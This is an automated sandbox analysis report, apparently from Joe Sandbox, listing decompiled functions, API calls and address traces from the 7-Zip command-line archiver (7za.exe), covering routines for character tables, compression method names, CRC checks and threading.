0x0042d40c
0x00000000
0x0042d40e
0x0042d411
0x0042d413
0x0042d416
0x0042d419
0x0042d41b
0x0042d41e
0x0042d477
0x00000000
0x0042d420
0x0042d428
0x0042d428
0x0042d42b
0x0042d42b
0x0042d42b
0x0042d42f
0x00000000
0x00000000
0x0042d431
0x0042d433
0x0042d435
0x0042d436
0x00000000
0x0042d436
0x0042d43d
0x0042d43d
0x0042d45b
0x0042d45b
0x0042d45d
0x0042d460
0x0042d46a
0x0042d46f
0x00000000
0x0042d43f
0x0042d441
0x0042d446
0x0042d448
0x0042d490
0x0042d498
0x0042d49b
0x0042d4a0
0x0042d4a3
0x0042d4a4
0x0042d4a6
0x0042d4a6
0x0042d4a9
0x0042d4b0
0x0042d4b5
0x00000000
0x0042d44a
0x0042d44a
0x0042d450
0x0042d453
0x0042d422
0x0042d425
0x0042d428
0x00000000
0x0042d455
0x0042d455
0x0042d458
0x00000000
0x0042d458
0x0042d453
0x0042d448
0x00000000
0x0042d43d
0x0042d43b
0x00000000
0x0042d43b
0x0042d428
0x0042d41e
0x0042d40c
0x00000000
0x0042d406
0x0042d4b8
0x0042d4b8
0x0042d4b8
0x0042d3d0
0x0042d3cc
0x0042d4ba
0x0042d4bd
0x0042d4c4
0x0042d4ca
0x00000000
0x0042d4ca
0x0042d372
0x0042d372
0x0042d372
0x0042d370
0x0042d4cc
0x0042d4d2
0x0042d4da

APIs

__EH_prolog.LIBCMT ref: 0042D341

Strings

c[@, xrefs: 0042D37B, 0042D4BD
, xrefs: 0042D408

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 00471A83, Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 124

C-Code - Quality: 92%

			E00471A83(void* __ebx, void* __edi) {
				char _v17;
				signed char _v18;
				struct _cpinfo _v24;
				char _v280;
				char _v536;
				char _v792;
				char _v1304;
				void* _t43;
				char _t44;
				signed char _t45;
				void* _t55;
				signed int _t56;
				signed char _t64;
				intOrPtr* _t66;
				signed int _t68;
				signed int _t70;
				signed int _t71;
				signed char _t76;
				signed char _t77;
				signed char* _t78;
				void* _t81;
				void* _t87;
				void* _t88;

				if(GetCPInfo( *0x496228,  &_v24) == 1) {
					_t44 = 0;
					do {
						 *((char*)(_t87 + _t44 - 0x114)) = _t44;
						_t44 = _t44 + 1;
					} while (_t44 < 0x100);
					_t45 = _v18;
					_v280 = 0x20;
					if(_t45 == 0) {
						L9:
						E00472375(1,  &_v280, 0x100,  &_v1304,  *0x496228,  *0x496444, 0);
						E00472126( *0x496444, 0x100,  &_v280, 0x100,  &_v536, 0x100,  *0x496228, 0);
						E00472126( *0x496444, 0x200,  &_v280, 0x100,  &_v792, 0x100,  *0x496228, 0);
						_t55 = 0;
						_t66 =  &_v1304;
						do {
							_t76 =  *_t66;
							if((_t76 & 0x00000001) == 0) {
								if((_t76 & 0x00000002) == 0) {
									 *(_t55 + 0x496240) =  *(_t55 + 0x496240) & 0x00000000;
									goto L16;
								}
								 *(_t55 + 0x496341) =  *(_t55 + 0x496341) | 0x00000020;
								_t77 =  *((intOrPtr*)(_t87 + _t55 - 0x314));
								L12:
								 *(_t55 + 0x496240) = _t77;
								goto L16;
							}
							 *(_t55 + 0x496341) =  *(_t55 + 0x496341) | 0x00000010;
							_t77 =  *((intOrPtr*)(_t87 + _t55 - 0x214));
							goto L12;
							L16:
							_t55 = _t55 + 1;
							_t66 = _t66 + 2;
						} while (_t55 < 0x100);
						return _t55;
					}
					_t78 =  &_v17;
					do {
						_t68 =  *_t78 & 0x000000ff;
						_t56 = _t45 & 0x000000ff;
						if(_t56 <= _t68) {
							_t81 = _t87 + _t56 - 0x114;
							_t70 = _t68 - _t56 + 1;
							_t71 = _t70 >> 2;
							memset(_t81 + _t71, memset(_t81, 0x20202020, _t71 << 2), (_t70 & 0x00000003) << 0);
							_t88 = _t88 + 0x18;
						}
						_t78 =  &(_t78[2]);
						_t45 =  *((intOrPtr*)(_t78 - 1));
					} while (_t45 != 0);
					goto L9;
				}
				_t43 = 0;
				do {
					if(_t43 < 0x41 || _t43 > 0x5a) {
						if(_t43 < 0x61 || _t43 > 0x7a) {
							 *(_t43 + 0x496240) =  *(_t43 + 0x496240) & 0x00000000;
						} else {
							 *(_t43 + 0x496341) =  *(_t43 + 0x496341) | 0x00000020;
							_t64 = _t43 - 0x20;
							goto L22;
						}
					} else {
						 *(_t43 + 0x496341) =  *(_t43 + 0x496341) | 0x00000010;
						_t64 = _t43 + 0x20;
						L22:
						 *(_t43 + 0x496240) = _t64;
					}
					_t43 = _t43 + 1;
				} while (_t43 < 0x100);
				return _t43;
			}

0x00471aa0
0x00471aa6
0x00471aad
0x00471aad
0x00471ab4
0x00471ab5
0x00471ab9
0x00471abc
0x00471ac5
0x00471afe
0x00471b1d
0x00471b41
0x00471b69
0x00471b71
0x00471b73
0x00471b79
0x00471b79
0x00471b7f
0x00471b9a
0x00471bac
0x00000000
0x00471bac
0x00471b9c
0x00471ba3
0x00471b8f
0x00471b8f
0x00000000
0x00471b8f
0x00471b81
0x00471b88
0x00000000
0x00471bb3
0x00471bb3
0x00471bb5
0x00471bb6
0x00000000
0x00471b79
0x00471ac9
0x00471acc
0x00471acc
0x00471acf
0x00471ad4
0x00471ad8
0x00471adf
0x00471ae7
0x00471af1
0x00471af1
0x00471af1
0x00471af4
0x00471af5
0x00471af8
0x00000000
0x00471afd
0x00471bbc
0x00471bc3
0x00471bc6
0x00471be4
0x00471bf9
0x00471beb
0x00471beb
0x00471bf4
0x00000000
0x00471bf4
0x00471bcd
0x00471bcd
0x00471bd6
0x00471bd9
0x00471bd9
0x00471bd9
0x00471c00
0x00471c01
0x00471c07

APIs

GetCPInfo.KERNEL32(?), ref: 00471A97

Part of subcall function 00472375: GetStringTypeW.KERNEL32(00000001,0047CD24,00000001,?,775CC600,00496224,?,?,00471FC7,?,?,?,00000000,00000001), ref: 004723B4
Part of subcall function 00472375: GetStringTypeA.KERNEL32(00000000,00000001,0047CD20,00000001,?,?,00471FC7,?,?,?,00000000,00000001), ref: 004723CE
Part of subcall function 00472375: GetStringTypeA.KERNEL32(?,?,?,?,00471FC7,775CC600,00496224,?,?,00471FC7,?,?,?,00000000,00000001), ref: 00472402
Part of subcall function 00472375: MultiByteToWideChar.KERNEL32(?,$bI,?,?,00000000,00000000,775CC600,00496224,?,?,00471FC7,?,?,?,00000000,00000001), ref: 0047243A
Part of subcall function 00472375: MultiByteToWideChar.KERNEL32(?,00000001,?,?,?,?,?,?,?,?,00471FC7,?), ref: 00472490
Part of subcall function 00472375: GetStringTypeW.KERNEL32(?,?,00000000,00471FC7,?,?,?,?,?,?,00471FC7,?), ref: 004724A2

Part of subcall function 00472126: LCMapStringW.KERNEL32(00000000,00000100,0047CD24,00000001,00000000,00000000,775CC600,00496224,?,?,?,00471FC7,?,?,?,00000000), ref: 00472168
Part of subcall function 00472126: LCMapStringA.KERNEL32(00000000,00000100,0047CD20,00000001,00000000,00000000,?,?,00471FC7,?,?,?,00000000,00000001), ref: 00472184
Part of subcall function 00472126: LCMapStringA.KERNEL32(?,?,?,00471FC7,?,?,775CC600,00496224,?,?,?,00471FC7,?,?,?,00000000), ref: 004721CD
Part of subcall function 00472126: MultiByteToWideChar.KERNEL32(?,$bI,?,00471FC7,00000000,00000000,775CC600,00496224,?,?,?,00471FC7,?,?,?,00000000), ref: 00472205
Part of subcall function 00472126: MultiByteToWideChar.KERNEL32(00000000,00000001,?,00471FC7,?,00000000,?,?,00471FC7,?), ref: 0047225D
Part of subcall function 00472126: LCMapStringW.KERNEL32(?,?,00000000,00000000,00000000,00000000,?,?,00471FC7,?), ref: 00472273
Part of subcall function 00472126: LCMapStringW.KERNEL32(?,?,?,00000000,?,?,?,?,00471FC7,?), ref: 004722A6
Part of subcall function 00472126: LCMapStringW.KERNEL32(?,?,?,?,?,00000000,?,?,00471FC7,?), ref: 0047230E
Part of subcall function 00472126: WideCharToMultiByte.KERNEL32(00000000,00000220,?,00000000,?,?,00000000,00000000,?,00000000,?,?,00471FC7,?), ref: 00472333

Strings

, xrefs: 00471AE0
, xrefs: 00471ABC

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 0041F985, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 74

C-Code - Quality: 74%

			E0041F985() {
				void* _t37;
				intOrPtr _t38;
				signed int _t42;
				void* _t44;
				intOrPtr _t45;
				void* _t48;
				signed int _t59;
				intOrPtr _t72;
				void* _t73;

				E0046B890(E00475ABC, _t73);
				 *((short*)(_t73 - 0x1c)) = 0;
				 *((short*)(_t73 - 0x1a)) = 0;
				 *(_t73 - 4) = 0;
				_t37 =  *((intOrPtr*)(_t73 + 0x10)) - 7;
				if(_t37 == 0) {
					_t38 =  *((intOrPtr*)(_t73 + 8));
					__eflags =  *((intOrPtr*)(_t38 + 0x3c));
					if(__eflags != 0) {
						_t59 =  *(_t38 + 0x10);
						_t42 =  *(_t38 + 0x14);
						__eflags = (_t59 & _t42) - 0xffffffff;
						if(__eflags != 0) {
							_push(_t42);
							_push(_t59);
							goto L14;
						}
					}
				} else {
					_t44 = _t37 - 1;
					if(_t44 == 0) {
						_t45 =  *((intOrPtr*)(_t73 + 8));
						__eflags =  *((intOrPtr*)(_t45 + 0x38));
						if(__eflags != 0) {
							_push( *((intOrPtr*)(_t45 + 0x34)));
							_push( *((intOrPtr*)(_t45 + 0x30)));
							L14:
							E0040C1C0(_t73 - 0x1c);
						}
					} else {
						if(_t44 == 0xe) {
							_t72 =  *((intOrPtr*)(_t73 + 8));
							if( *((intOrPtr*)(_t72 + 0x3c)) != 0) {
								 *((char*)(_t73 - 0x5c)) = 0;
								if( *((intOrPtr*)(_t72 + 0x18)) != 0) {
									E0041FABD(_t73 - 0x5c, 0x48c724);
								}
								E0041FABD(_t73 - 0x5c, 0x48c71c);
								_t48 = 0;
								if( *((intOrPtr*)(_t73 - 0x5c)) != 0) {
									do {
										_t48 = _t48 + 1;
										_t84 =  *((intOrPtr*)(_t73 + _t48 - 0x5c));
									} while ( *((intOrPtr*)(_t73 + _t48 - 0x5c)) != 0);
								}
								E0041FA61( *((intOrPtr*)(_t72 + 0x1a)), _t73 + _t48 - 0x5c);
								E0040C0D3(_t73 - 0x1c, _t84, _t73 - 0x5c);
							}
						}
					}
				}
				E0040C2B2(_t73 - 0x1c, _t84,  *((intOrPtr*)(_t73 + 0x14)));
				 *(_t73 - 4) =  *(_t73 - 4) | 0xffffffff;
				E0040C20F(_t73 - 0x1c);
				 *[fs:0x0] =  *((intOrPtr*)(_t73 - 0xc));
				return 0;
			}

0x0041f98a
0x0041f996
0x0041f99a
0x0041f9a1
0x0041f9a4
0x0041f9a7
0x0041fa17
0x0041fa1a
0x0041fa1d
0x0041fa1f
0x0041fa22
0x0041fa29
0x0041fa2c
0x0041fa2e
0x0041fa2f
0x00000000
0x0041fa2f
0x0041fa2c
0x0041f9a9
0x0041f9a9
0x0041f9aa
0x0041fa07
0x0041fa0a
0x0041fa0d
0x0041fa0f
0x0041fa12
0x0041fa30
0x0041fa33
0x0041fa33
0x0041f9ac
0x0041f9af
0x0041f9b5
0x0041f9bb
0x0041f9c0
0x0041f9c3
0x0041f9cd
0x0041f9cd
0x0041f9da
0x0041f9df
0x0041f9e4
0x0041f9e6
0x0041f9e6
0x0041f9e7
0x0041f9e7
0x0041f9e6
0x0041f9f4
0x0041fa00
0x0041fa00
0x0041f9bb
0x0041f9af
0x0041f9aa
0x0041fa3e
0x0041fa43
0x0041fa4a
0x0041fa56
0x0041fa5e

APIs

__EH_prolog.LIBCMT ref: 0041F98A

Part of subcall function 0040C0D3: SysAllocStringByteLen.OLEAUT32(00000000,00000000), ref: 0040C0FC
Part of subcall function 0040C0D3: __CxxThrowException@8.LIBC ref: 0040C11A

Strings

LZMA:, xrefs: 0041F9D2
BCJ , xrefs: 0041F9C5

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 00414B6B, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 66

C-Code - Quality: 100%

			E00414B6B(void* __eflags) {
				char _t32;
				void* _t37;
				char _t39;
				void* _t55;
				intOrPtr _t58;
				void* _t59;

				E0046B890(E00474780, _t59);
				_t39 = 0;
				 *((intOrPtr*)(_t59 - 0x20)) = 0;
				 *((intOrPtr*)(_t59 - 0x28)) = 0x47aacc;
				 *((intOrPtr*)(_t59 - 4)) = 0;
				if(E00413C1F(_t59 - 0x28, 0x500) != 0) {
					_t58 =  *((intOrPtr*)(_t59 - 0x20));
					_t32 = 0;
					do {
						 *((char*)(_t32 + _t58)) = _t32;
						_t32 = _t32 + 1;
					} while (_t32 < 0x100);
					if(E00414C43(_t32, _t58, 0x100) == 0x29058c73) {
						 *((intOrPtr*)(_t59 - 0x1c)) = 0x159a55e5;
						 *((intOrPtr*)(_t59 - 0x18)) = 0x1f123bb5;
						E00414C74(_t58 + 0x100, 0x400, _t59 - 0x1c);
						 *((intOrPtr*)(_t59 - 0x14)) = 0;
						do {
							_t36 =  *((intOrPtr*)(_t59 - 0x14));
							 *(_t59 - 0x10) =  *(_t59 - 0x10) & 0x00000000;
							_t55 =  *((intOrPtr*)(_t59 - 0x14)) + _t58;
							while(1) {
								_t37 = E00414C43(_t36, _t55,  *(_t59 - 0x10));
								if(_t37 != E0046B1C0(_t55,  *(_t59 - 0x10))) {
									break;
								}
								 *(_t59 - 0x10) =  *(_t59 - 0x10) + 1;
								if( *(_t59 - 0x10) < 0x20) {
									continue;
								} else {
									goto L8;
								}
								goto L10;
							}
							_t39 = 0;
							goto L10;
							L8:
							 *((intOrPtr*)(_t59 - 0x14)) =  *((intOrPtr*)(_t59 - 0x14)) + 1;
						} while ( *((intOrPtr*)(_t59 - 0x14)) < 0x4e0);
						_t39 = 1;
					}
				}
				L10:
				 *((intOrPtr*)(_t59 - 0x28)) = 0x47aacc;
				E004585E0( *((intOrPtr*)(_t59 - 0x20)));
				 *[fs:0x0] =  *((intOrPtr*)(_t59 - 0xc));
				return _t39;
			}

0x00414b70
0x00414b79
0x00414b7d
0x00414b80
0x00414b8f
0x00414b99
0x00414b9f
0x00414ba2
0x00414ba9
0x00414ba9
0x00414bac
0x00414bad
0x00414bbd
0x00414bce
0x00414bd5
0x00414bdc
0x00414be1
0x00414be4
0x00414be4
0x00414be7
0x00414beb
0x00414bee
0x00414bf3
0x00414c06
0x00000000
0x00000000
0x00414c08
0x00414c0f
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00414c0f
0x00414c3f
0x00000000
0x00414c11
0x00414c11
0x00414c14
0x00414c1d
0x00414c1d
0x00414bbd
0x00414c1f
0x00414c22
0x00414c29
0x00414c36
0x00414c3e

APIs

__EH_prolog.LIBCMT ref: 00414B70

Part of subcall function 004585E0: VirtualFree.KERNEL32(0040F696,00000000,00008000,00413C3C,0048DE00,00000000,00414B97,00000500,0048DE00,00000000,00490AB0), ref: 004585EC

Strings

[<A, xrefs: 00414B80, 00414C22
, xrefs: 00414C0B

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 00416E2C, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 64

C-Code - Quality: 100%

			E00416E2C(intOrPtr __ecx) {
				void* _t24;
				void* _t27;
				intOrPtr* _t30;
				signed int _t49;
				intOrPtr* _t52;
				void* _t54;

				E0046B890(E00474B74, _t54);
				 *((intOrPtr*)(_t54 - 0x14)) = __ecx;
				 *((intOrPtr*)(_t54 - 0x10)) = 0x48bf2c;
				do {
					_t49 = 0;
					_t52 =  *((intOrPtr*)( *((intOrPtr*)(_t54 - 0x10))));
					if( *_t52 != 0) {
						_t30 = _t52;
						do {
							_t49 = _t49 + 1;
							_t30 = _t30 + 2;
						} while ( *_t30 != 0);
					}
					_t37 =  *((intOrPtr*)(_t54 - 0x14));
					if( *((intOrPtr*)( *((intOrPtr*)(_t54 - 0x14)) + 4)) < _t49) {
						goto L7;
					} else {
						E00407399(_t37, _t54 - 0x20, _t49);
						 *(_t54 - 4) = 0;
						_t27 = E0040807A(_t52);
						 *(_t54 - 4) =  *(_t54 - 4) | 0xffffffff;
						E00407A18( *((intOrPtr*)(_t54 - 0x20)));
						if((0 | _t27 != 0x00000000) != 0 || E00416EDE( *((intOrPtr*)(_t54 - 0x14)), _t49) != 0) {
							goto L7;
						} else {
							L9:
							_t24 = 0;
						}
					}
					L11:
					 *[fs:0x0] =  *((intOrPtr*)(_t54 - 0xc));
					return _t24;
					L7:
					 *((intOrPtr*)(_t54 - 0x10)) =  *((intOrPtr*)(_t54 - 0x10)) + 4;
				} while ( *((intOrPtr*)(_t54 - 0x10)) < 0x48bf3c);
				if(E00416F4A( *((intOrPtr*)(_t54 - 0x14)), 0x48bf68) != 0) {
					_t24 = E00416F4A( *((intOrPtr*)(_t54 - 0x14)), 0x48bf60);
				} else {
					goto L9;
				}
				goto L11;
			}

0x00416e31
0x00416e3c
0x00416e3f
0x00416e46
0x00416e4b
0x00416e4d
0x00416e52
0x00416e54
0x00416e56
0x00416e56
0x00416e58
0x00416e59
0x00416e56
0x00416e5e
0x00416e64
0x00000000
0x00416e66
0x00416e6b
0x00416e74
0x00416e77
0x00416e84
0x00416e88
0x00416e90
0x00000000
0x00416ebe
0x00416ebe
0x00416ebe
0x00416ebe
0x00416e90
0x00416ecf
0x00416ed5
0x00416edd
0x00416ea0
0x00416ea0
0x00416ea4
0x00416ebc
0x00416eca
0x00000000
0x00000000
0x00000000
0x00000000

APIs

__EH_prolog.LIBCMT ref: 00416E31

Part of subcall function 00416F4A: __EH_prolog.LIBCMT ref: 00416F4F

Part of subcall function 00416EDE: __EH_prolog.LIBCMT ref: 00416EE3

Strings

COM, xrefs: 00416EB0
LPT, xrefs: 00416EC5

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 0046CD08, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 45

C-Code - Quality: 100%

			E0046CD08(struct _SECURITY_ATTRIBUTES* _a4, char _a8, intOrPtr _a12, intOrPtr _a16, long _a20, DWORD* _a24) {
				void* _t18;
				long _t25;
				void* _t26;

				_t25 = 0;
				_t26 = E0046FE93(1, 0x74);
				if(_t26 == 0) {
					L3:
					E0046C0FF(_t26);
					if(_t25 != 0) {
						E004705D3(_t25);
					}
					return 0;
				}
				E0046E370(_t26);
				 *(_t26 + 4) =  *(_t26 + 4) | 0xffffffff;
				 *((intOrPtr*)(_t26 + 0x48)) = _a12;
				 *((intOrPtr*)(_t26 + 0x4c)) = _a16;
				_t9 =  &_a8; // 0x414677
				_t18 = CreateThread(_a4,  *_t9, E0046CD73, _t26, _a20, _a24);
				if(_t18 == 0) {
					_t25 = GetLastError();
					goto L3;
				}
				return _t18;
			}

0x0046cd11
0x0046cd18
0x0046cd1e
0x0046cd5b
0x0046cd5c
0x0046cd64
0x0046cd67
0x0046cd6c
0x00000000
0x0046cd6d
0x0046cd21
0x0046cd2d
0x0046cd31
0x0046cd3a
0x0046cd43
0x0046cd49
0x0046cd51
0x0046cd59
0x00000000
0x0046cd59
0x0046cd72

APIs

Part of subcall function 0046FE93: HeapAlloc.KERNEL32(00000008,?,00000000,00000000,00000001,0046E3A8,00000001,00000074,?,?,00000000,00000001), ref: 0046FF89

CreateThread.KERNEL32(?,wFA,0046CD73,00000000,00000000,?), ref: 0046CD49
GetLastError.KERNEL32(?,00467AE9,00000000,00000000,004148ED,?,00000000,?,?,00414677,?,?), ref: 0046CD53

Part of subcall function 0046C0FF: HeapFree.KERNEL32(00000000,00000000,00000000), ref: 0046C1D3

Strings

wFA, xrefs: 0046CD43

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 0040BF39, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 20

C-Code - Quality: 100%

			E0040BF39(signed char __ecx) {
				void* _t2;
				signed char _t6;
				struct HINSTANCE__* _t11;

				_t6 = __ecx;
				_t11 = LoadLibraryA("Advapi32.dll");
				if(_t11 != 0) {
					_t2 = E0040BF69(_t11, _t6);
					FreeLibrary(_t11);
					return _t2;
				}
				return 0;
			}

0x0040bf3b
0x0040bf48
0x0040bf4c
0x0040bf56
0x0040bf5e
0x00000000
0x0040bf64
0x00000000

APIs

LoadLibraryA.KERNEL32(Advapi32.dll), ref: 0040BF42

Part of subcall function 0040BF69: GetProcAddress.KERNEL32(00000000,OpenProcessToken,59@,00000000,00000001,?,?,00000000,00000001,00000000), ref: 0040BF8A
Part of subcall function 0040BF69: GetProcAddress.KERNEL32(00000000,LookupPrivilegeValueA), ref: 0040BF95
Part of subcall function 0040BF69: GetProcAddress.KERNEL32(00000000,AdjustTokenPrivileges), ref: 0040BFA0
Part of subcall function 0040BF69: GetCurrentProcess.KERNEL32(00000020,?), ref: 0040BFBA
Part of subcall function 0040BF69: GetLastError.KERNEL32 ref: 0040BFFF
Part of subcall function 0040BF69: CloseHandle.KERNEL32(?), ref: 0040C015

FreeLibrary.KERNEL32(00000000,?,00403B77,?,?,00000000,00000001,00000000), ref: 0040BF5E

Strings

Advapi32.dll, xrefs: 0040BF3D

Memory Dump Source

Source File: 00000006.00000002.726623011.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.726615267.00400000.00000002.sdmp
Associated: 00000006.00000002.726637703.0047A000.00000002.sdmp
Associated: 00000006.00000002.726646633.0048A000.00000008.sdmp
Associated: 00000006.00000002.726655516.0048B000.00000004.sdmp
Associated: 00000006.00000002.726664268.0048C000.00000008.sdmp
Associated: 00000006.00000002.726682885.0048D000.00000004.sdmp
Associated: 00000006.00000002.726691954.0048F000.00000008.sdmp
Associated: 00000006.00000002.726702859.00490000.00000004.sdmp
Associated: 00000006.00000002.726713762.00498000.00000008.sdmp
Associated: 00000006.00000002.726722054.00499000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_7za.jbxd

Function 0045B510, Relevance: 5.1, APIs: 4, Instructions: 119

C-Code - Quality: 100%

			E0045B510(intOrPtr* __ecx, intOrPtr __edx) {
				intOrPtr _v4;
				signed int _v8;
				void* __ebx;
				void* __ebp;
				void* _t45;
				signed int _t51;
				intOrPtr _t53;
				void* _t64;
				struct _CRITICAL_SECTION* _t65;
				intOrPtr _t90;
				intOrPtr* _t97;
				intOrPtr* _t98;
				intOrPtr _t101;
				struct _CRITICAL_SECTION* _t102;

				_t91 = __edx;
				_t97 = __ecx;
				while(1) {
					L1:
					_v8 = 0;
					E00467AC0( *((intOrPtr*)(_t97 + 0x13c)));
					_t45 = E00467B10(_t97 + 0x140);
					while( *((intOrPtr*)(_t97 + 0x130)) == 0) {
						if( *((intOrPtr*)(_t97 + 0x134)) != 0) {
							 *((intOrPtr*)(_t97 + 0x170)) = _v8;
							E00467B10(_t97 + 0x144);
							goto L1;
						}
						_t98 =  *((intOrPtr*)(_t97 + 0x178));
						if(E00459DE0(_t45, _t65, _t98, _t91) == 0) {
							E00467AC0( *((intOrPtr*)(_t97 + 0x148)));
							E00459E00(_t98, _t91);
							_t50 =  *((intOrPtr*)(_t98 + 4));
							if( *((intOrPtr*)(_t98 + 4)) > 0xffffdfff) {
								E00459D10(_t50 -  *((intOrPtr*)(_t98 + 0x5c)), _t98, _t50 -  *((intOrPtr*)(_t98 + 0x5c)) - 1);
								_t91 =  *((intOrPtr*)(_t98 + 0x20)) +  *(_t98 + 0x60) * 4;
								E0045A1C0(_t50 -  *((intOrPtr*)(_t98 + 0x5c)) - 1,  *((intOrPtr*)(_t98 + 0x20)) +  *(_t98 + 0x60) * 4,  *((intOrPtr*)(_t98 + 0x28)) + 1);
							}
							_t51 = _v8;
							_t101 =  *((intOrPtr*)(_t98 + 0xc)) -  *((intOrPtr*)(_t98 + 4));
							_t65 = ((_t51 & 0x00000007) << 0xf) +  *((intOrPtr*)(_t97 + 0xf8));
							_v8 = _t51 + 1;
							 *_t65 = 2;
							 *((intOrPtr*)(_t65 + 4)) = _t101;
							_t53 =  *((intOrPtr*)(_t98 + 0x48));
							if(_t101 >= _t53) {
								_t101 = _t101 + 1 - _t53;
								if(_t101 > 0x1ffe) {
									_t101 = 0x1ffe;
								}
								_t91 =  *((intOrPtr*)(_t98 + 4));
								 *((intOrPtr*)( *((intOrPtr*)(_t97 + 0x174))))( *((intOrPtr*)(_t98 + 0x20)) +  *(_t98 + 0x60) * 4,  *((intOrPtr*)(_t98 + 0x28)), _t65 + 8, _t101, _t98 + 0x70);
								 *_t65 =  *_t65 + _t101;
							}
							 *((intOrPtr*)(_t98 + 4)) =  *((intOrPtr*)(_t98 + 4)) + _t101;
							 *_t98 =  *_t98 + _t101;
							_t45 = E00467C30(_t97 + 0x14c);
						} else {
							_t65 = _t97 + 0x5c;
							EnterCriticalSection(_t65);
							_t102 = _t97 + 0x158;
							EnterCriticalSection(_t102);
							_v4 = E00459CF0(_t98);
							E00459DB0(_t98);
							_t64 = E00459CF0(_t98);
							_t90 = _v4;
							_t91 = _t64 - _t90;
							 *_t97 =  *_t97 + _t64 - _t90;
							_t45 = _t64 - _t90;
							 *((intOrPtr*)(_t97 + 0x118)) =  *((intOrPtr*)(_t97 + 0x118)) + _t45;
							LeaveCriticalSection(_t65);
							LeaveCriticalSection(_t102);
						}
					}
					return _t45;
				}
			}

0x0045b510
0x0045b517
0x0045b520
0x0045b520
